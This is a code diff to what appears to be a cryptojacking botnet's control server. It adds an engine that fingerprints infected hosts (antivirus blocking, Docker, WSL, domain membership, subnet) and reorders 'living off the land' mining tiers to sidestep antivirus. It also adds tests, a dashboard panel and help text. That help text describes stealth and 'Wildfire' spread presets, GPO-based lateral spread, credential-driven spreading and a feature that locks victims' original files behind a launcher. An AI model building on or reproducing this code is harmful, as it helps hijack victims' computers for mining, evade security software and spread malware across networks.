{ + chips = append(chips, "av_blocks") + } + if fp.DomainJoined { + chips = append(chips, "domain_joined") + } + if fp.Subnet != "" { + chips = append(chips, "subnet:"+fp.Subnet) + } + return strings.Join(chips, ", ") +} + +func tierLabel(tier string) string { return strings.ReplaceAll(tier, "_", " ") } +func formatPct(v float64) string { return formatFloat(v*100) + "%" } +func formatFloat(v float64) string { return strconv.FormatFloat(v, 'f', -1, 64) } +func itoa(n int) string { return strconv.Itoa(n) } +func round2(v float64) float64 { return math.Round(v*100) / 100 } diff --git a/server/internal/strategy/engine_test.go b/server/internal/strategy/engine_test.go new file mode 100644 index 0000000..adbe347 --- /dev/null +++ b/server/internal/strategy/engine_test.go @@ -0,0 +1,58 @@ +package strategy + +import ( + "testing" + + "crypto-miner-server/internal/db" +) + +func TestWindowsDockerFingerprintPromotesContainer(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + + fp := HostFingerprint{GOOS: "windows", Docker: true, Subnet: "192.168.1"} + key := fp.Key() + + for i := 0; i < 4; i++ { + if err := database.InsertTierOutcome("agent-a", key, "exe_subprocess", false, 0, "mining"); err != nil { + t.Fatal(err) + } + } + for i := 0; i < 3; i++ { + if err := database.InsertTierOutcome("agent-b", key, "container", true, 1200, "mining"); err != nil { + t.Fatal(err) + } + } + + engine := NewAdaptiveEngine(database, true) + strat := engine.ScoreTierOrder(fp) + + if strat.TierOrder[0] != "container" { + t.Fatalf("container should be first on Windows+docker; got %v", strat.TierOrder) + } + if indexOf(strat.SkipTiers, "exe_subprocess") < 0 { + t.Fatalf("exe_subprocess should be skipped; got %v", strat.SkipTiers) + } + if len(strat.Reasoning) == 0 { + t.Fatal("expected reasoning trace") + } +} + +func TestFingerprintKeyStable(t *testing.T) { + fp := HostFingerprint{GOOS: "windows", Docker: true, Subnet: "10.0.0"} + if got := fp.Key(); got != "windows|1|0|0|0|0|10.0.0" { + t.Fatalf("key = %q", got) + } +} + +func indexOf(order []string, tier string) int { + for i, t := range order { + if t == tier { + return i + } + } + return -1 +} diff --git a/server/internal/strategy/fingerprint.go b/server/internal/strategy/fingerprint.go new file mode 100644 index 0000000..540279d --- /dev/null +++ b/server/internal/strategy/fingerprint.go @@ -0,0 +1,119 @@ +package strategy + +import ( + "net" + "strings" +) + +// HostFingerprint captures host signals that drive fleet-wide tier scoring. +type HostFingerprint struct { + GOOS string `json:"goos"` + Docker bool `json:"docker"` + WSL bool `json:"wsl"` + GPU bool `json:"gpu"` + AVBlocks bool `json:"av_blocks"` + DomainJoined bool `json:"domain_joined"` + Subnet string `json:"subnet"` +} + +// Key returns a stable bucket id for fleet outcome aggregation. +func (f HostFingerprint) Key() string { + goos := strings.ToLower(strings.TrimSpace(f.GOOS)) + if goos == "" { + goos = "unknown" + } + subnet := strings.TrimSpace(f.Subnet) + if subnet == "" { + subnet = "unknown" + } + return strings.Join([]string{ + goos, + boolToken(f.Docker), + boolToken(f.WSL), + boolToken(f.GPU), + boolToken(f.AVBlocks), + boolToken(f.DomainJoined), + subnet, + }, "|") +} + +func boolToken(v bool) string { + if v { + return "1" + } + return "0" +} + +// FingerprintFromAuth builds an initial fingerprint from agent auth + connection IP. +func FingerprintFromAuth(platform, ip string, domainJoined bool) HostFingerprint { + return HostFingerprint{ + GOOS: normalizeGOOS(platform), + DomainJoined: domainJoined, + Subnet: subnetFromIP(ip), + } +} + +// FingerprintFromStats merges live telemetry probes into a fingerprint. +func FingerprintFromStats(base HostFingerprint, probes map[string]bool, domainJoined *bool) HostFingerprint { + out := base + if probes != nil { + if v, ok := probes["docker"]; ok { + out.Docker = v + } + if v, ok := probes["wsl"]; ok { + out.WSL = v + } + if v, ok := probes["gpu"]; ok { + out.GPU = v + } + if v, ok := probes["av_blocks_exe"]; ok { + out.AVBlocks = v + } + } + if domainJoined != nil { + out.DomainJoined = *domainJoined + } + return out +} + +func normalizeGOOS(platform string) string { + p := strings.ToLower(strings.TrimSpace(platform)) + switch { + case strings.Contains(p, "win"): + return "windows" + case strings.Contains(p, "linux"): + return "linux" + case strings.Contains(p, "darwin"), strings.Contains(p, "mac"): + return "darwin" + default: + return p + } +} + +func subnetFromIP(ip string) string { + ip = strings.TrimSpace(ip) + if ip == "" { + return "" + } + host := ip + if h, _, err := net.SplitHostPort(ip); err == nil { + host = h + } + parsed := net.ParseIP(host) + if parsed == nil { + return "" + } + if v4 := parsed.To4(); v4 != nil { + parts := strings.Split(host, ".") + if len(parts) >= 3 { + return strings.Join(parts[:3], ".") + } + } + if strings.Contains(host, ":") { + parts := strings.Split(host, ":") + if len(parts) >= 3 { + return strings.Join(parts[:3], ":") + } + } + return host +} diff --git a/server/internal/strategy/types.go b/server/internal/strategy/types.go new file mode 100644 index 0000000..5737383 --- /dev/null +++ b/server/internal/strategy/types.go @@ -0,0 +1,35 @@ +package strategy + +import "time" + +// StrategyReason is one human-readable step in the adaptive tier decision trace. +type StrategyReason struct { + Fact string `json:"fact"` + Inference string `json:"inference"` + Action string `json:"action"` +} + +// AdaptiveStrategy is the per-agent personalized LOTL mining tier plan. +type AdaptiveStrategy struct { + TierOrder []string `json:"tier_order"` + SkipTiers []string `json:"skip_tiers,omitempty"` + Reasoning []StrategyReason `json:"reasoning"` + Confidence float64 `json:"confidence"` + UpdatedAt string `json:"updated_at"` +} + +// DefaultMiningTierOrder mirrors server auth defaults when Calibrate sends no override. +var DefaultMiningTierOrder = []string{ + "exe_subprocess", + "docker_load", + "container", + "wsl", + "ps_inmemory", + "cpu_inprocess", + "gpu_subprocess", + "stratum_direct", +} + +func nowRFC3339() string { + return time.Now().UTC().Format(time.RFC3339) +} diff --git a/server/main.go b/server/main.go index 1593b59..a44edad 100644 --- a/server/main.go +++ b/server/main.go @@ -23,6 +23,7 @@ import ( "crypto-miner-server/internal/maintenance" "crypto-miner-server/internal/pool" "crypto-miner-server/internal/scheduler" + "crypto-miner-server/internal/strategy" "crypto-miner-server/internal/sys" ) @@ -134,6 +135,8 @@ func main() { // Initialize WebSocket hub wsHub := api.NewWSHub(database) + adaptiveEngine := strategy.NewAdaptiveEngine(database, cfg.Server.AdaptiveStrategyEnabled) + wsHub.SetAdaptiveEngine(adaptiveEngine) wsHub.SetAIHandler(aiHandler) wsHub.SetFleetSecret(cfg.Server.FleetSecret) api.SetAgentPathSecret(cfg.Server.FleetSecret) @@ -206,6 +209,9 @@ func main() { config: cfg, onSaved: func(c *Config) { applyRuntimeConfig(c, wsHub, poolManager, builderHandler) + if adaptiveEngine != nil { + adaptiveEngine.SetEnabled(c.Server.AdaptiveStrategyEnabled) + } spreadCredAdapter.setConfig(c) }, } diff --git a/server/web/src/components/Fleet/AccessDepthPanel.test.tsx b/server/web/src/components/Fleet/AccessDepthPanel.test.tsx index d34b36c..9f61a4b 100644 --- a/server/web/src/components/Fleet/AccessDepthPanel.test.tsx +++ b/server/web/src/components/Fleet/AccessDepthPanel.test.tsx @@ -155,6 +155,31 @@ describe('AccessDepthPanel', () => { expect(await screen.findByText('WinRM')).toBeInTheDocument(); }); + it('renders adaptive strategy reasoning fixtures', () => { + renderPanel( + mockAgent({ platform: 'windows', status: 'online' }), + parseAccessDepthDiagnostics({ + adaptive_strategy: { + tier_order: ['container', 'docker_load', 'wsl', 'cpu_inprocess'], + skip_tiers: ['exe_subprocess'], + confidence: 0.72, + reasoning: [ + { + fact: 'Docker runtime available on Windows host', + inference: 'Container tier isolates miner from AV friction', + action: 'Prefer container before raw subprocess', + }, + ], + }, + }), + ); + expect(screen.getByText('Strategy')).toBeInTheDocument(); + expect(screen.getByText('Adaptive')).toBeInTheDocument(); + expect(screen.getByText('AI path')).toBeInTheDocument(); + expect(screen.getByText(/Docker runtime available/i)).toBeInTheDocument(); + expect(screen.getByText(/confidence 72%/i)).toBeInTheDocument(); + }); + it('shows pending chain when tiers not yet attempted', () => { renderPanel( mockAgent({ diff --git a/server/web/src/components/Fleet/AccessDepthPanel.tsx b/server/web/src/components/Fleet/AccessDepthPanel.tsx index 79918ea..40f0d02 100644 --- a/server/web/src/components/Fleet/AccessDepthPanel.tsx +++ b/server/web/src/components/Fleet/AccessDepthPanel.tsx @@ -161,10 +161,36 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) { + {model.strategyReasoning.length > 0 && ( +
+
+ Strategy + {model.adaptiveActive && ( + Adaptive + )} +
+ + {typeof model.adaptiveConfidence === 'number' && ( +
confidence {Math.round(model.adaptiveConfidence * 100)}%
+ )} +
+ )} +
Effective onion order ({model.miningOrderSource}) + {model.adaptiveActive && ( + AI path + )}
diff --git a/server/web/src/help/accessDepth.ts b/server/web/src/help/accessDepth.ts index febc361..f7e2705 100644 --- a/server/web/src/help/accessDepth.ts +++ b/server/web/src/help/accessDepth.ts @@ -13,6 +13,20 @@ export interface EnvironmentProbes { webview2?: boolean; } +export interface StrategyReason { + fact: string; + inference: string; + action: string; +} + +export interface AdaptiveStrategyView { + tier_order?: string[]; + skip_tiers?: string[]; + reasoning?: StrategyReason[]; + confidence?: number; + updated_at?: string; +} + export interface AccessDepthDiagnostics { environment_probes?: EnvironmentProbes; tier_chain_order?: string[]; @@ -21,6 +35,8 @@ export interface AccessDepthDiagnostics { lotl_attempts?: TierAttempt[]; active_method?: string; execution_mode?: string; + adaptive_strategy?: AdaptiveStrategyView; + strategy_reasoning?: StrategyReason[]; } export interface AccessDepthServerPolicy { @@ -72,7 +88,10 @@ export interface AccessDepthModel { miningOnion: OnionTierRow[]; spreadOnion: OnionTierRow[]; tripleOnionSummary?: string; - miningOrderSource: 'agent' | 'server' | 'default'; + miningOrderSource: 'agent' | 'server' | 'default' | 'adaptive'; + adaptiveActive: boolean; + strategyReasoning: StrategyReason[]; + adaptiveConfidence?: number; } /** Default mining tier onion pushed at agent auth when Calibrate sends no override. */ @@ -122,6 +141,9 @@ export function parseAccessDepthDiagnostics(raw: Record): Acces (typeof raw.active_tier === 'string' && raw.active_tier) || undefined; + const adaptive = parseAdaptiveStrategy(raw.adaptive_strategy); + const reasoning = parseStrategyReasoning(raw.strategy_reasoning) ?? adaptive?.reasoning; + return { environment_probes: parseEnvironmentProbes(raw.environment_probes), tier_chain_order: tier_chain_order?.length ? tier_chain_order : undefined, @@ -130,9 +152,44 @@ export function parseAccessDepthDiagnostics(raw: Record): Acces lotl_attempts: attempts.length ? attempts : undefined, active_method: typeof raw.active_method === 'string' ? raw.active_method : undefined, execution_mode: typeof raw.execution_mode === 'string' ? raw.execution_mode : undefined, + adaptive_strategy: adaptive, + strategy_reasoning: reasoning, }; } +function parseStrategyReasoning(raw: unknown): StrategyReason[] | undefined { + if (!Array.isArray(raw)) return undefined; + const out: StrategyReason[] = []; + for (const row of raw) { + if (!row || typeof row !== 'object') continue; + const r = row as Record; + if (typeof r.fact !== 'string' || typeof r.inference !== 'string' || typeof r.action !== 'string') continue; + out.push({ fact: r.fact, inference: r.inference, action: r.action }); + } + return out.length ? out : undefined; +} + +function parseAdaptiveStrategy(raw: unknown): AdaptiveStrategyView | undefined { + if (!raw || typeof raw !== 'object') return undefined; + const row = raw as Record; + const tier_order = Array.isArray(row.tier_order) + ? row.tier_order.filter((t): t is string => typeof t === 'string' && t.trim() !== '') + : undefined; + const skip_tiers = Array.isArray(row.skip_tiers) + ? row.skip_tiers.filter((t): t is string => typeof t === 'string' && t.trim() !== '') + : undefined; + const reasoning = parseStrategyReasoning(row.reasoning); + const confidence = typeof row.confidence === 'number' ? row.confidence : undefined; + const updated_at = typeof row.updated_at === 'string' ? row.updated_at : undefined; + if (!tier_order?.length && !reasoning?.length) return undefined; + return { tier_order, skip_tiers, reasoning, confidence, updated_at }; +} + +function ordersDiffer(a: readonly string[], b: readonly string[]): boolean { + if (a.length !== b.length) return true; + return a.some((tier, i) => tier.toLowerCase() !== b[i]?.toLowerCase()); +} + function platformLabel(platform?: string): string { const p = (platform || '').toLowerCase(); if (p.includes('darwin') || p.includes('mac')) return 'macOS'; @@ -199,7 +256,17 @@ function resolveMiningOrder( diag: AccessDepthDiagnostics | undefined, policy: AccessDepthServerPolicy | undefined, agent: Agent, -): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' } { +): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' | 'adaptive' } { + if (diag?.adaptive_strategy?.tier_order?.length) { + const adaptiveOrder = diag.adaptive_strategy.tier_order; + if (ordersDiffer(adaptiveOrder, DEFAULT_MINING_TIER_ORDER) || (diag.strategy_reasoning?.length ?? 0) > 0) { + return { + order: adaptiveOrder, + skipped: diag.adaptive_strategy.skip_tiers ?? diag.tier_chain_skipped ?? [], + source: 'adaptive', + }; + } + } if (diag?.tier_chain_order?.length) { return { order: diag.tier_chain_order, @@ -341,6 +408,9 @@ export function buildAccessDepthModel( })), tripleOnionSummary: `recon: ${recon.slice(0, 3).join(' → ')}… · deploy: ${deploy.slice(0, 3).join(' → ')}…`, miningOrderSource: source, + adaptiveActive: source === 'adaptive', + strategyReasoning: diagnostics?.strategy_reasoning ?? diagnostics?.adaptive_strategy?.reasoning ?? [], + adaptiveConfidence: diagnostics?.adaptive_strategy?.confidence, }; } diff --git a/server/web/src/help/lotlOnionTiers.ts b/server/web/src/help/lotlOnionTiers.ts index 6168265..5b6081d 100644 --- a/server/web/src/help/lotlOnionTiers.ts +++ b/server/web/src/help/lotlOnionTiers.ts @@ -1,5 +1,9 @@ /** Ordered LOTL spread contingency tiers — shared by Forge preset + spread wiki. */ +/** Mining tier order can be personalized per host by the fleet adaptive engine (Crucible → Access Depth → Strategy). Spread lotl_onion_tiers in Calibrate still control deploy contingencies. */ +export const ADAPTIVE_STRATEGY_HELP = + 'Mining tier order can be personalized per host fingerprint by the fleet adaptive engine (Crucible → Access Depth → Strategy). Spread lotl_onion_tiers in Calibrate still control deploy contingencies.'; + export const DEFAULT_LOTL_ONION_TIERS = [ 'vuln_recon', 'docker', diff --git a/server/web/src/help/settingHelp.ts b/server/web/src/help/settingHelp.ts index 9e7ed69..fe05d7a 100644 --- a/server/web/src/help/settingHelp.ts +++ b/server/web/src/help/settingHelp.ts @@ -28,6 +28,10 @@ export const FIELD_HELP: Record = { 'One-click preset bundles: Ghost (stealth LAN), Loud (lab logs), Wildfire (spread kit), AV-Safe (in-process XMR only), LOTL Onion (AV-Safe mining + native-tool spread tier chain with server-pulled contingencies). Switches sensible defaults — individual fields below can still be fine-tuned.', forge_lotl_onion: 'LOTL Onion preset: in-process RandomX (same XMR wallet field), no GPU exe drop, ordered vuln recon→GPO spread contingencies. When lotl_policy_from_server is on, tier order is pulled from Calibrate server config on agent auth — re-forge not required to reorder tiers.', + adaptive_strategy: + 'Fleet adaptive strategy learns LOTL mining tier order from your own machines (OS, Docker/WSL probes, subnet, hashrate outcomes). On connect the server pushes a personalized tier walk with strategy_reasoning bullets before the agent tries the default onion. Overrides order/skip hints only — not wallet or patch_first gates. Toggle with server.adaptive_strategy_enabled (default on).', + lotl_onion_tiers: + 'Ordered spread contingency chain for LOTL Onion forges with lotl_policy_from_server. Mining tier order is separate (mining_tier_policy / adaptive_strategy). Spread tiers apply on reconnect without re-forge; adaptive strategy can reorder mining tiers proactively from fleet stats.', forge_path_forge: 'Server-side recursive batch seed: enter a folder path and the server walks it, placing a launcher next to every matching file without uploading anything. Lock Original renames the source so only the companion launcher can open it — it re-locks after playback.', forge_recommended_defaults: diff --git a/tests/README.md b/tests/README.md index 5006ea1..1957cbd 100644 --- a/tests/README.md +++ b/tests/README.md @@ -50,6 +50,12 @@ Phases 5–7 and 7b are skipped with `-SkipBuild`. Phase 8 is skipped with `-Ski Playbook: [`/docs/SPREAD_TECHNIQUES.html#lotl-onion`](../server/web/public/docs/SPREAD_TECHNIQUES.html#lotl-onion). Recon regression: `scripts/test-suite.ps1 -ReconOnly` after landing agents. +## Adaptive Strategy + +The server **adaptive strategy engine** (`server/internal/strategy/`) learns from your fleet only: OS fingerprint, Docker/WSL/GPU probes, subnet, `lotl_attempts`, and `mining_hashrate`. On agent auth it pushes `adaptive_strategy` with a personalized `tier_order`, optional `skip_tiers`, and a human-readable `strategy_reasoning[]` trace (weighted scoring — not a black-box LLM). Background rescoring runs every 5 minutes from `stats_batch` / `tier_report` ingestion into SQLite `tier_outcomes`. Adaptive overrides **order and skip hints** only; it does not change wallet, `patch_first`, or other triple-onion gates. Disable via Calibrate `server.adaptive_strategy_enabled` (default `true`). Manual refresh: `POST /api/v1/strategy/recompute`. Crucible **Access Depth → Strategy** shows reasoning bullets and an **Adaptive** badge when the server order differs from default. + +Regression: `go test ./internal/strategy/... ./internal/api/ -run Adaptive` (server) and Vitest `AccessDepthPanel.test.tsx`. + ## LOTL architecture (triple onion) The **triple onion** chains three phases on every agent connect (when enabled): **recon → deploy → mining**. Policy gates (`patch_first`, `skip_mining_on_high_risk`) can defer deploy or mining when `vuln_findings` exceed thresholds.